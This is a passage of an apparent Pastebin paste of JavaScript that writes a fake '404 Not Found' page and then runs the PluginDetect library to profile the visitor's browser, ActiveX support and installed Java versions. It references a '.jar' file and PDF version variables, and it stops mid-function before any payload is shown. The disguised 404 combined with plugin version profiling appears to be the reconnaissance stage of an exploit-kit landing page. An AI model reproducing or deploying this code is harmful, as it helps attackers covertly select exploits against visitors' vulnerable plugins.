Advertisement
Guest User

Untitled

a guest
Jul 27th, 2011
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 48.35 KB | None | 0 0
  1. document.write('<center><h1>404 Not Found</h1></center><hr>');
  2.  
  3. function end_redirect() {}
  4. var javafile = './games/getJavaInfo.jar';
  5. var jver = [0, 0, 0, 0],
  6. pdfver = [0, 0, 0, 0];
  7. try {
  8. var PluginDetect = {
  9. handler: function (c, b, a) {
  10. return function () {
  11. c(b, a)
  12. }
  13. },
  14. isDefined: function (b) {
  15. return typeof b != "undefined"
  16. },
  17. isArray: function (b) {
  18. return (/array/i).test(Object.prototype.toString.call(b))
  19. },
  20. isFunc: function (b) {
  21. return typeof b == "function"
  22. },
  23. isString: function (b) {
  24. return typeof b == "string"
  25. },
  26. isNum: function (b) {
  27. return typeof b == "number"
  28. },
  29. isStrNum: function (b) {
  30. return (typeof b == "string" && (/\d/).test(b))
  31. },
  32. getNumRegx: /[\d][\d\.\_,-]*/,
  33. splitNumRegx: /[\.\_,-]/g,
  34. getNum: function (b, c) {
  35. var d = this,
  36. a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  37. return a ? a[0] : null
  38. },
  39. compareNums: function (h, f, d) {
  40. var e = this,
  41. c, b, a, g = parseInt;
  42. if (e.isStrNum(h) && e.isStrNum(f)) {
  43. if (e.isDefined(d) && d.compareNums) {
  44. return d.compareNums(h, f)
  45. }
  46. c = h.split(e.splitNumRegx);
  47. b = f.split(e.splitNumRegx);
  48. for (a = 0; a < Math.min(c.length, b.length); a++) {
  49. if (g(c[a], 10) > g(b[a], 10)) {
  50. return 1
  51. }
  52. if (g(c[a], 10) < g(b[a], 10)) {
  53. return -1
  54. }
  55. }
  56. }
  57. return 0
  58. },
  59. formatNum: function (b, c) {
  60. var d = this,
  61. a, e;
  62. if (!d.isStrNum(b)) {
  63. return null
  64. }
  65. if (!d.isNum(c)) {
  66. c = 4
  67. }
  68. c--;
  69. e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  70. for (a = 0; a < 4; a++) {
  71. if (/^(0+)(.+)$/.test(e[a])) {
  72. e[a] = RegExp.$2
  73. }
  74. if (a > c || !(/\d/).test(e[a])) {
  75. e[a] = "0"
  76. }
  77. }
  78. return e.slice(0, 4).join(",")
  79. },
  80. $$hasMimeType: function (a) {
  81. return function (d) {
  82. if (!a.isIE && d) {
  83. var c, b, e, f = a.isString(d) ? [d] : d;
  84. if (!f || !f.length) {
  85. return null
  86. }
  87. for (e = 0; e < f.length; e++) {
  88. if (/[^\s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description)) {
  89. return c
  90. }
  91. }
  92. }
  93. return null
  94. }
  95. },
  96. findNavPlugin: function (l, e, c) {
  97. var j = this,
  98. h = new RegExp(l, "i"),
  99. d = (!j.isDefined(e) || e) ? /\d/ : 0,
  100. k = c ? new RegExp(c, "i") : 0,
  101. a = navigator.plugins,
  102. g = "",
  103. f, b, m;
  104. for (f = 0; f < a.length; f++) {
  105. m = a[f].description || g;
  106. b = a[f].name || g;
  107. if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  108. if (!k || !(k.test(m) || k.test(b))) {
  109. return a[f]
  110. }
  111. }
  112. }
  113. return null
  114. },
  115. getMimeEnabledPlugin: function (a, f) {
  116. var e = this,
  117. b, c = new RegExp(f, "i"),
  118. d = "";
  119. if ((b = e.hasMimeType(a)) && (b = b.enabledPlugin) && (c.test(b.description || d) || c.test(b.name || d))) {
  120. return b
  121. }
  122. return 0
  123. },
  124. getPluginFileVersion: function (f, b) {
  125. var h = this,
  126. e, d, g, a, c = -1;
  127. if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  128. return b
  129. }
  130. if (!b) {
  131. return e
  132. }
  133. e = h.formatNum(e);
  134. b = h.formatNum(b);
  135. d = b.split(h.splitNumRegx);
  136. g = e.split(h.splitNumRegx);
  137. for (a = 0; a < d.length; a++) {
  138. if (c > -1 && a > c && d[a] != "0") {
  139. return b
  140. }
  141. if (g[a] != d[a]) {
  142. if (c == -1) {
  143. c = a
  144. }
  145. if (d[a] != "0") {
  146. return b
  147. }
  148. }
  149. }
  150. return e
  151. },
  152. AXO: window.ActiveXObject,
  153. getAXO: function (b) {
  154. var f = null,
  155. d, c = this,
  156. a;
  157. try {
  158. f = new c.AXO(b)
  159. } catch (d) {}
  160. return f
  161. },
  162. convertFuncs: function (g) {
  163. var a, h, f, b = /^[\$][\$]/,
  164. d = {},
  165. c = this;
  166. for (a in g) {
  167. if (b.test(a)) {
  168. d[a] = 1
  169. }
  170. }
  171. for (a in d) {
  172. try {
  173. h = a.slice(2);
  174. if (h.length > 0 && !g[h]) {
  175. g[h] = g[a](g);
  176. delete g[a]
  177. }
  178. } catch (f) {}
  179. }
  180. },
  181. initScript: function () {
  182. var c = this,
  183. a = navigator,
  184. e = "/",
  185. i = a.userAgent || "",
  186. g = a.vendor || "",
  187. b = a.platform || "",
  188. h = a.product || "";
  189. c.OS = 100;
  190. if (b) {
  191. var f, d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
  192. for (f = d.length - 2; f >= 0; f = f - 2) {
  193. if (d[f] && new RegExp(d[f], "i").test(b)) {
  194. c.OS = d[f + 1];
  195. break
  196. }
  197. }
  198. }
  199. c.convertFuncs(c);
  200. c.isIE = new Function("return " + e + "*@cc_on!@*" + e + "false")();
  201. c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
  202. c.ActiveXEnabled = false;
  203. if (c.isIE) {
  204. var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  205. for (f = 0; f < j.length; f++) {
  206. if (c.getAXO(j[f])) {
  207. c.ActiveXEnabled = true;
  208. break
  209. }
  210. }
  211. c.head = c.isDefined(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null
  212. }
  213. c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
  214. c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null;
  215. c.isSafari = (/Safari\s*\/\s*\d/i).test(i) && (/Apple/i).test(g);
  216. c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  217. c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  218. c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  219. c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1, 10) : null;
  220. c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  221. },
  222. init: function (c) {
  223. var b = this,
  224. a, c;
  225. if (!b.isString(c)) {
  226. return -3
  227. }
  228. if (c.length == 1) {
  229. b.getVersionDelimiter = c;
  230. return -3
  231. }
  232. c = c.toLowerCase().replace(/\s/g, "");
  233. a = b[c];
  234. if (!a || !a.getVersion) {
  235. return -3
  236. }
  237. b.plugin = a;
  238. if (!b.isDefined(a.installed)) {
  239. a.installed = a.version = a.version0 = a.getVersionDone = null;
  240. a.$ = b;
  241. a.pluginName = c
  242. }
  243. b.garbage = false;
  244. if (b.isIE && !b.ActiveXEnabled) {
  245. if (a !== b.java) {
  246. return -2
  247. }
  248. }
  249. return 1
  250. },
  251. fPush: function (b, a) {
  252. var c = this;
  253. if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
  254. a.push(b)
  255. }
  256. },
  257. callArray: function (b) {
  258. var c = this,
  259. a;
  260. if (c.isArray(b)) {
  261. for (a = 0; a < b.length; a++) {
  262. if (b[a] === null) {
  263. return
  264. }
  265. c.call(b[a]);
  266. b[a] = null
  267. }
  268. }
  269. },
  270. call: function (c) {
  271. var b = this,
  272. a = b.isArray(c) ? c.length : -1;
  273. if (a > 0 && b.isFunc(c[0])) {
  274. c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  275. } else {
  276. if (b.isFunc(c)) {
  277. c(b)
  278. }
  279. }
  280. },
  281. getVersionDelimiter: ",",
  282. $$getVersion: function (a) {
  283. return function (g, d, c) {
  284. var e = a.init(g),
  285. f, b, h;
  286. if (e < 0) {
  287. return null
  288. };
  289. f = a.plugin;
  290. if (f.getVersionDone != 1) {
  291. f.getVersion(null, d, c);
  292. if (f.getVersionDone === null) {
  293. f.getVersionDone = 1
  294. }
  295. }
  296. a.cleanup();
  297. b = (f.version || f.version0);
  298. b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  299. return b
  300. }
  301. },
  302. cleanup: function () {
  303. var a = this;
  304. if (a.garbage && a.isDefined(window.CollectGarbage)) {
  305. window.CollectGarbage()
  306. }
  307. },
  308. addWinEvent: function (d, c) {
  309. var e = this,
  310. a = window,
  311. b;
  312. if (e.isFunc(c)) {
  313. if (a.addEventListener) {
  314. a.addEventListener(d, c, false)
  315. } else {
  316. if (a.attachEvent) {
  317. a.attachEvent("on" + d, c)
  318. } else {
  319. b = a["on" + d];
  320. a["on" + d] = e.winHandler(c, b)
  321. }
  322. }
  323. }
  324. },
  325. winHandler: function (d, c) {
  326. return function () {
  327. d();
  328. if (typeof c == "function") {
  329. c()
  330. }
  331. }
  332. },
  333. WLfuncs0: [],
  334. WLfuncs: [],
  335. runWLfuncs: function (a) {
  336. a.winLoaded = true;
  337. a.callArray(a.WLfuncs0);
  338. a.callArray(a.WLfuncs);
  339. if (a.onDoneEmptyDiv) {
  340. a.onDoneEmptyDiv()
  341. }
  342. },
  343. winLoaded: false,
  344. $$onWindowLoaded: function (a) {
  345. return function (b) {
  346. if (a.winLoaded) {
  347. a.call(b)
  348. } else {
  349. a.fPush(b, a.WLfuncs)
  350. }
  351. }
  352. },
  353. div: null,
  354. divWidth: 50,
  355. pluginSize: 1,
  356. emptyDiv: function () {
  357. var c = this,
  358. a, e, b, d = 0;
  359. if (c.div && c.div.childNodes) {
  360. for (a = c.div.childNodes.length - 1; a >= 0; a--) {
  361. b = c.div.childNodes[a];
  362. if (b && b.childNodes) {
  363. if (d == 0) {
  364. for (e = b.childNodes.length - 1; e >= 0; e--) {
  365. b.removeChild(b.childNodes[e])
  366. }
  367. c.div.removeChild(b)
  368. } else {}
  369. }
  370. }
  371. }
  372. },
  373. DONEfuncs: [],
  374. onDoneEmptyDiv: function () {
  375. var c = this,
  376. a, b;
  377. if (!c.winLoaded) {
  378. return
  379. }
  380. if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  381. return
  382. }
  383. for (a in c) {
  384. b = c[a];
  385. if (b && b.funcs) {
  386. if (b.OTF == 3) {
  387. return
  388. }
  389. if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  390. return
  391. }
  392. }
  393. }
  394. for (a = 0; a < c.DONEfuncs.length; a++) {
  395. c.callArray(c.DONEfuncs)
  396. }
  397. c.emptyDiv()
  398. },
  399. getWidth: function (c) {
  400. if (c) {
  401. var a = c.scrollWidth || c.offsetWidth,
  402. b = this;
  403. if (b.isNum(a)) {
  404. return a
  405. }
  406. }
  407. return -1
  408. },
  409. getTagStatus: function (m, g, a, b) {
  410. var c = this,
  411. f, k = m.span,
  412. l = c.getWidth(k),
  413. h = a.span,
  414. j = c.getWidth(h),
  415. d = g.span,
  416. i = c.getWidth(d);
  417. if (!k || !h || !d || !c.getDOMobj(m)) {
  418. return -2
  419. }
  420. if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
  421. return 0
  422. }
  423. if (l >= i) {
  424. return -1
  425. }
  426. try {
  427. if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  428. if (!m.winLoaded && c.winLoaded) {
  429. return 1
  430. }
  431. if (m.winLoaded && c.isNum(b)) {
  432. if (!c.isNum(m.count)) {
  433. m.count = b
  434. }
  435. if (b - m.count >= 10) {
  436. return 1
  437. }
  438. }
  439. }
  440. } catch (f) {}
  441. return 0
  442. },
  443. getDOMobj: function (g, a) {
  444. var f, d = this,
  445. c = g ? g.span : 0,
  446. b = c && c.firstChild ? 1 : 0;
  447. try {
  448. if (b && a) {
  449. c.firstChild.focus()
  450. }
  451. } catch (f) {}
  452. return b ? c.firstChild : null
  453. },
  454. setStyle: function (b, g) {
  455. var f = b.style,
  456. a, d, c = this;
  457. if (f && g) {
  458. for (a = 0; a < g.length; a = a + 2) {
  459. try {
  460. f[g[a]] = g[a + 1]
  461. } catch (d) {}
  462. }
  463. }
  464. },
  465. insertDivInBody: function (i) {
  466. var g, d = this,
  467. h = "pd33993399",
  468. c = null,
  469. f = document,
  470. b = "<",
  471. a = (f.getElementsByTagName("body")[0] || f.body);
  472. if (!a) {
  473. try {
  474. f.write(b + 'div id="' + h + '">o' + b + "/div>");
  475. c = f.getElementById(h)
  476. } catch (g) {}
  477. }
  478. a = (f.getElementsByTagName("body")[0] || f.body);
  479. if (a) {
  480. if (a.firstChild && d.isDefined(a.insertBefore)) {
  481. a.insertBefore(i, a.firstChild)
  482. } else {
  483. a.appendChild(i)
  484. }
  485. if (c) {
  486. a.removeChild(c)
  487. }
  488. } else {}
  489. },
  490. insertHTML: function (g, b, h, a, k) {
  491. var l, m = document,
  492. j = this,
  493. q, o = m.createElement("span"),
  494. n, i, f = "<";
  495. var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  496. if (!j.isDefined(a)) {
  497. a = ""
  498. }
  499. if (j.isString(g) && (/[^\s]/).test(g)) {
  500. q = f + g + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  501. for (n = 0; n < b.length; n = n + 2) {
  502. if (/[^\s]/.test(b[n + 1])) {
  503. q += b[n] + '="' + b[n + 1] + '" '
  504. }
  505. }
  506. q += ">";
  507. for (n = 0; n < h.length; n = n + 2) {
  508. if (/[^\s]/.test(h[n + 1])) {
  509. q += f + 'param name="' + h[n] + '" value="' + h[n + 1] + '" />'
  510. }
  511. }
  512. q += a + f + "/" + g + ">"
  513. } else {
  514. q = a
  515. }
  516. if (!j.div) {
  517. j.div = m.createElement("div");
  518. i = m.getElementById("plugindetect");
  519. if (i) {
  520. j.div = i
  521. } else {
  522. j.div.id = "plugindetect";
  523. j.insertDivInBody(j.div)
  524. }
  525. j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  526. if (!i) {
  527. j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"])
  528. }
  529. }
  530. if (j.div && j.div.parentNode) {
  531. j.div.appendChild(o);
  532. j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  533. try {
  534. if (o && o.parentNode) {
  535. o.focus()
  536. }
  537. } catch (l) {}
  538. try {
  539. o.innerHTML = q
  540. } catch (l) {}
  541. if (o.childNodes.length == 1 && !(j.isGecko && j.compareNums(j.verGecko, "1,5,0,0") < 0)) {
  542. j.setStyle(o.firstChild, c.concat(["display", "inline"]))
  543. }
  544. return {
  545. span: o,
  546. winLoaded: j.winLoaded,
  547. tagName: (j.isString(g) ? g : "")
  548. }
  549. }
  550. return {
  551. span: null,
  552. winLoaded: j.winLoaded,
  553. tagName: ""
  554. }
  555. },
  556. java: {
  557. mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  558. mimeTypeJPI: "application/x-java-applet;jpi-version=",
  559. classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  560. DTKclassID: "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA",
  561. DTKmimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  562. forceVerifyTag: [],
  563. jar: [],
  564. Enabled: navigator.javaEnabled(),
  565. VENDORS: ["Sun Microsystems Inc.", "Apple Computer, Inc."],
  566. OTF: null,
  567. All_versions: [],
  568. mimeTypeJPIresult: "",
  569. JavaPlugin_versions: [],
  570. JavaVersions: [
  571. [1, 9, 2, 30],
  572. [1, 8, 2, 30],
  573. [1, 7, 2, 30],
  574. [1, 6, 1, 30],
  575. [1, 5, 1, 30],
  576. [1, 4, 2, 30],
  577. [1, 3, 1, 30]
  578. ],
  579. searchJavaPluginAXO: function () {
  580. var h = null,
  581. a = this,
  582. c = a.$,
  583. g = [],
  584. j = [1, 5, 0, 14],
  585. i = [1, 6, 0, 2],
  586. f = [1, 3, 1, 0],
  587. e = [1, 4, 2, 0],
  588. d = [1, 5, 0, 7],
  589. b = false;
  590. if (!c.ActiveXEnabled) {
  591. return null
  592. };
  593. if (c.verIE >= a.minIEver) {
  594. g = a.searchJavaAXO(i, i, b);
  595. if (g.length > 0 && b) {
  596. g = a.searchJavaAXO(j, j, b)
  597. }
  598. } else {
  599. if (g.length == 0) {
  600. g = a.searchJavaAXO(f, e, false)
  601. }
  602. }
  603. if (g.length > 0) {
  604. h = g[0]
  605. }
  606. a.JavaPlugin_versions = [].concat(g);
  607. return h
  608. },
  609. searchJavaAXO: function (l, i, m) {
  610. var n, f, h = this.$,
  611. q, k, a, e, g, j, b, r = [];
  612. if (h.compareNums(l.join(","), i.join(",")) > 0) {
  613. i = l
  614. }
  615. i = h.formatNum(i.join(","));
  616. var o, d = "1,4,2,0",
  617. c = "JavaPlugin." + l[0] + "" + l[1] + "" + l[2] + "" + (l[3] > 0 ? ("_" + (l[3] < 10 ? "0" : "") + l[3]) : "");
  618. for (n = 0; n < this.JavaVersions.length; n++) {
  619. f = this.JavaVersions[n];
  620. q = "JavaPlugin." + f[0] + "" + f[1];
  621. g = f[0] + "." + f[1] + ".";
  622. for (a = f[2]; a >= 0; a--) {
  623. b = "JavaWebStart.isInstalled." + g + a + ".0";
  624. if (h.compareNums(f[0] + "," + f[1] + "," + a + ",0", i) >= 0 && !h.getAXO(b)) {
  625. continue
  626. }
  627. o = h.compareNums(f[0] + "," + f[1] + "," + a + ",0", d) < 0 ? true : false;
  628. for (e = f[3]; e >= 0; e--) {
  629. k = a + "_" + (e < 10 ? "0" + e : e);
  630. j = q + k;
  631. if (h.getAXO(j) && (o || h.getAXO(b))) {
  632. r.push(g + k);
  633. if (!m) {
  634. return r
  635. }
  636. }
  637. if (j == c) {
  638. return r
  639. }
  640. }
  641. if (h.getAXO(q + a) && (o || h.getAXO(b))) {
  642. r.push(g + a);
  643. if (!m) {
  644. return r
  645. }
  646. }
  647. if (q + a == c) {
  648. return r
  649. }
  650. }
  651. }
  652. return r
  653. },
  654. minIEver: 7,
  655. getMimeJPIversion: function () {
  656. var h, a = this,
  657. d = a.$,
  658. c = new RegExp("(" + a.mimeTypeJPI + ")(\\d.*)", "i"),
  659. k = new RegExp("Java", "i"),
  660. e, j, f = "",
  661. i = {},
  662. g = 0,
  663. b;
  664. for (h = 0; h < navigator.mimeTypes.length; h++) {
  665. j = navigator.mimeTypes[h];
  666. if (c.test(j.type) && (e = j.enabledPlugin) && (j = RegExp.$2) && (k.test(e.description || f) || k.test(e.name || f))) {
  667. i["a" + d.formatNum(j)] = j
  668. }
  669. }
  670. b = "0,0,0,0";
  671. for (h in i) {
  672. g++;
  673. e = h.slice(1);
  674. if (d.compareNums(e, b) > 0) {
  675. b = e
  676. }
  677. }
  678. a.mimeTypeJPIresult = g > 0 ? a.mimeTypeJPI + i["a" + b] : "";
  679. return g > 0 ? b : null
  680. },
  681. getVersion: function (m, d, l) {
  682. var f, c = this,
  683. e = c.$,
  684. h = c.NOTF,
  685. b = c.applet,
  686. j = c.verify,
  687. i = vendor = versionEnabled = null;
  688. if (c.getVersionDone === null) {
  689. c.OTF = 0;
  690. c.mimeObj = e.hasMimeType(c.mimeType);
  691. c.deployTK.$ = e;
  692. c.deployTK.parentNode = c;
  693. b.$ = e;
  694. b.parentNode = c;
  695. if (h) {
  696. h.$ = e;
  697. h.parentNode = c
  698. }
  699. if (j) {
  700. j.parentNode = c;
  701. j.$ = e;
  702. j.init()
  703. }
  704. }
  705. var k;
  706. if (e.isArray(l)) {
  707. for (k = 0; k < b.allowed.length; k++) {
  708. if (e.isNum(l[k])) {
  709. b.allowed[k] = l[k]
  710. }
  711. }
  712. }
  713. for (k = 0; k < c.forceVerifyTag.length; k++) {
  714. b.allowed[k] = c.forceVerifyTag[k]
  715. }
  716. if (e.isString(d)) {
  717. c.jar.push(d)
  718. }
  719. if (c.getVersionDone == 0) {
  720. if (!c.version || b.canTryAny()) {
  721. f = b.insertHTMLQueryAll(d);
  722. if (f[0]) {
  723. c.installed = 1;
  724. c.EndGetVersion(f[0], f[1])
  725. }
  726. }
  727. return
  728. }
  729. var g = c.deployTK.query();
  730. if (g.JRE) {
  731. i = g.JRE;
  732. vendor = c.VENDORS[0]
  733. }
  734. if (!e.isIE) {
  735. var q, n, a, o;
  736. o = (c.mimeObj && c.Enabled) ? true : false;
  737. if (!i && (f = c.getMimeJPIversion()) !== null) {
  738. i = f
  739. }
  740. if (!i && c.mimeObj) {
  741. f = "Java[^\\d]*Plug-in";
  742. a = e.findNavPlugin(f);
  743. if (a) {
  744. f = new RegExp(f, "i");
  745. q = f.test(a.description || "") ? e.getNum(a.description) : null;
  746. n = f.test(a.name || "") ? e.getNum(a.name) : null;
  747. if (q && n) {
  748. i = (e.compareNums(e.formatNum(q), e.formatNum(n)) >= 0) ? q : n
  749. } else {
  750. i = q || n
  751. }
  752. }
  753. }
  754. if (!i && c.mimeObj && e.isSafari && e.OS == 2) {
  755. a = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  756. if (a) {
  757. q = e.getNum(a.description);
  758. if (q) {
  759. i = q
  760. }
  761. }
  762. }
  763. if (i) {
  764. c.version0 = i;
  765. if (c.Enabled) {
  766. versionEnabled = i
  767. }
  768. }
  769. } else {
  770. if (!i && g.status == 0) {
  771. i = c.searchJavaPluginAXO();
  772. if (i) {
  773. vendor = c.VENDORS[0]
  774. }
  775. }
  776. if (i) {
  777. c.version0 = i;
  778. if (c.Enabled && e.ActiveXEnabled) {
  779. versionEnabled = i
  780. }
  781. }
  782. }
  783. if (!versionEnabled || b.canTryAny()) {
  784. f = b.insertHTMLQueryAll(d);
  785. if (f[0]) {
  786. versionEnabled = f[0];
  787. vendor = f[1]
  788. }
  789. }
  790. if (!versionEnabled && (f = c.queryWithoutApplets())[0]) {
  791. c.version0 = versionEnabled = f[0];
  792. vendor = f[1];
  793. if (c.installed == -0.5) {
  794. c.installed = 0.5
  795. }
  796. }
  797. if (e.isSafari && e.OS == 2) {
  798. if (!versionEnabled && o) {
  799. if (c.installed === null) {
  800. c.installed = 0
  801. } else {
  802. if (c.installed == -0.5) {
  803. c.installed = 0.5
  804. }
  805. }
  806. }
  807. }
  808. if (c.jreDisabled()) {
  809. versionEnabled = null
  810. };
  811. if (c.installed === null) {
  812. c.installed = versionEnabled ? 1 : (i ? -0.2 : -1)
  813. }
  814. c.EndGetVersion(versionEnabled, vendor)
  815. },
  816. EndGetVersion: function (b, d) {
  817. var a = this,
  818. c = a.$;
  819. if (a.version0) {
  820. a.version0 = c.formatNum(c.getNum(a.version0))
  821. }
  822. if (b) {
  823. a.version = c.formatNum(c.getNum(b));
  824. a.vendor = (c.isString(d) ? d : "")
  825. }
  826. if (a.getVersionDone != 1) {
  827. a.getVersionDone = 0
  828. }
  829. },
  830. jreDisabled: function () {
  831. var b = this,
  832. d = b.$,
  833. c = b.deployTK.query().JRE,
  834. a;
  835. if (c && d.OS == 1) {
  836. if ((d.isGecko && d.compareNums(d.verGecko, "1,9,2,0") >= 0 && d.compareNums(c, "1,6,0,12") < 0) || (d.isChrome && d.compareNums(c, "1,6,0,12") < 0)) {
  837. return 1
  838. }
  839. };
  840. if (d.isOpera && d.verOpera >= 9 && !b.Enabled && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  841. return 1
  842. }
  843. if ((d.isGecko || d.isChrome) && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  844. return 1
  845. }
  846. return 0
  847. },
  848. deployTK: {
  849. status: null,
  850. JREall: [],
  851. JRE: null,
  852. HTML: null,
  853. query: function () {
  854. var f = this,
  855. h = f.$,
  856. c = f.parentNode,
  857. i, a, b, g = len = null;
  858. if (f.status !== null) {
  859. return f
  860. }
  861. f.status = 0;
  862. if ((h.isGecko && h.compareNums(h.verGecko, h.formatNum("1.6")) <= 0) || h.isSafari || h.isChrome || (h.isIE && !h.ActiveXEnabled)) {
  863. return f
  864. }
  865. if (h.isIE && h.verIE >= 6) {
  866. f.HTML = h.insertHTML("object", [], []);
  867. g = h.getDOMobj(f.HTML)
  868. } else {
  869. if (!h.isIE && (b = h.hasMimeType(c.DTKmimeType)) && b.type) {
  870. f.HTML = h.insertHTML("object", ["type", b.type], []);
  871. g = h.getDOMobj(f.HTML)
  872. }
  873. }
  874. if (g) {
  875. if (h.isIE && h.verIE >= 6) {
  876. try {
  877. g.classid = c.DTKclassID
  878. } catch (i) {}
  879. };
  880. try {
  881. var d = g.jvms;
  882. if (d) {
  883. len = d.getLength();
  884. if (h.isNum(len)) {
  885. f.status = len > 0 ? 1 : -1;
  886. for (a = 0; a < len; a++) {
  887. b = h.getNum(d.get(len - 1 - a).version);
  888. if (b) {
  889. f.JREall[a] = b
  890. }
  891. }
  892. }
  893. }
  894. } catch (i) {}
  895. }
  896. if (f.JREall.length > 0) {
  897. f.JRE = h.formatNum(f.JREall[0])
  898. }
  899. return f
  900. }
  901. },
  902. queryWithoutApplets00: function (c, a) {
  903. var b = window.java,
  904. d;
  905. try {
  906. if (b && b.lang && b.lang.System) {
  907. a.value = [b.lang.System.getProperty("java.version") + " ", b.lang.System.getProperty("java.vendor") + " "]
  908. }
  909. } catch (d) {}
  910. },
  911. queryWithoutApplets: function () {
  912. var c = this,
  913. f = c.$,
  914. g, a = c.queryWithoutApplets;
  915. if (!a.value) {
  916. a.value = [null, null];
  917. if (!f.isIE && window.java) {
  918. if (f.OS == 2 && f.isOpera && f.verOpera < 9.2 && f.verOpera >= 9) {} else {
  919. if (f.isGecko && f.compareNums(f.verGecko, "1,9,0,0") < 0 && f.compareNums(f.verGecko, "1,8,0,0") >= 0) {} else {
  920. if (f.isGecko) {
  921. var i, b, h = document;
  922. if (h.createElement && h.createEvent) {
  923. try {
  924. i = h.createElement("div"), b = h.createEvent("HTMLEvents");
  925. b.initEvent("change", false, false);
  926. i.addEventListener("change", f.handler(c.queryWithoutApplets00, f, a), false);
  927. i.dispatchEvent(b)
  928. } catch (g) {}
  929. }
  930. } else {
  931. c.queryWithoutApplets00(f, a)
  932. }
  933. }
  934. }
  935. }
  936. }
  937. return a.value
  938. },
  939. applet: {
  940. results: [
  941. [null, null],
  942. [null, null],
  943. [null, null]
  944. ],
  945. HTML: [0, 0, 0],
  946. active: [0, 0, 0],
  947. allowed: [2, 2, 2],
  948. DummyObjTagHTML: 0,
  949. DummySpanTagHTML: 0,
  950. getResult: function () {
  951. var c = this.results,
  952. a, b;
  953. for (a = 0; a < c.length; a++) {
  954. b = c[a];
  955. if (b[0]) {
  956. break
  957. }
  958. }
  959. return [].concat(b)
  960. },
  961. canTry: function (d) {
  962. var b = this,
  963. c = b.$,
  964. a = b.parentNode;
  965. if (b.allowed[d] == 3) {
  966. return true
  967. }
  968. if (!a.version0 || !a.Enabled || (c.isIE && !c.ActiveXEnabled)) {
  969. if (b.allowed[d] == 2) {
  970. return true
  971. }
  972. if (b.allowed[d] == 1 && !b.getResult()[0]) {
  973. return true
  974. }
  975. }
  976. return false
  977. },
  978. canTryAny: function () {
  979. var b = this,
  980. a;
  981. for (a = 0; a < b.allowed.length; a++) {
  982. if (b.canTry(a)) {
  983. return true
  984. }
  985. }
  986. return false
  987. },
  988. canUseAppletTag: function () {
  989. var b = this,
  990. c = b.$,
  991. a = b.parentNode;
  992. return (!c.isIE || a.Enabled)
  993. },
  994. canUseObjectTag: function () {
  995. var a = this,
  996. b = a.$;
  997. return (!b.isIE || b.ActiveXEnabled)
  998. },
  999. queryThis: function (h) {
  1000. var g, c = this,
  1001. b = c.parentNode,
  1002. f = b.$,
  1003. a = vendor = null,
  1004. d = f.getDOMobj(c.HTML[h], true);
  1005. if (d) {
  1006. try {
  1007. a = d.getVersion() + " ";
  1008. vendor = d.getVendor() + " ";
  1009. d.statusbar(f.winLoaded ? " " : " ")
  1010. } catch (g) {}
  1011. if (f.isStrNum(a)) {
  1012. c.results[h] = [a, vendor]
  1013. }
  1014. try {
  1015. if (f.isIE && a && d.readyState != 4) {
  1016. f.garbage = true;
  1017. d.parentNode.removeChild(d)
  1018. }
  1019. } catch (g) {}
  1020. }
  1021. },
  1022. insertHTMLQueryAll: function (e) {
  1023. var g = this,
  1024. n = g.parentNode,
  1025. d = n.$,
  1026. o = g.results,
  1027. q = g.HTML,
  1028. h = "&nbsp;&nbsp;&nbsp;&nbsp;",
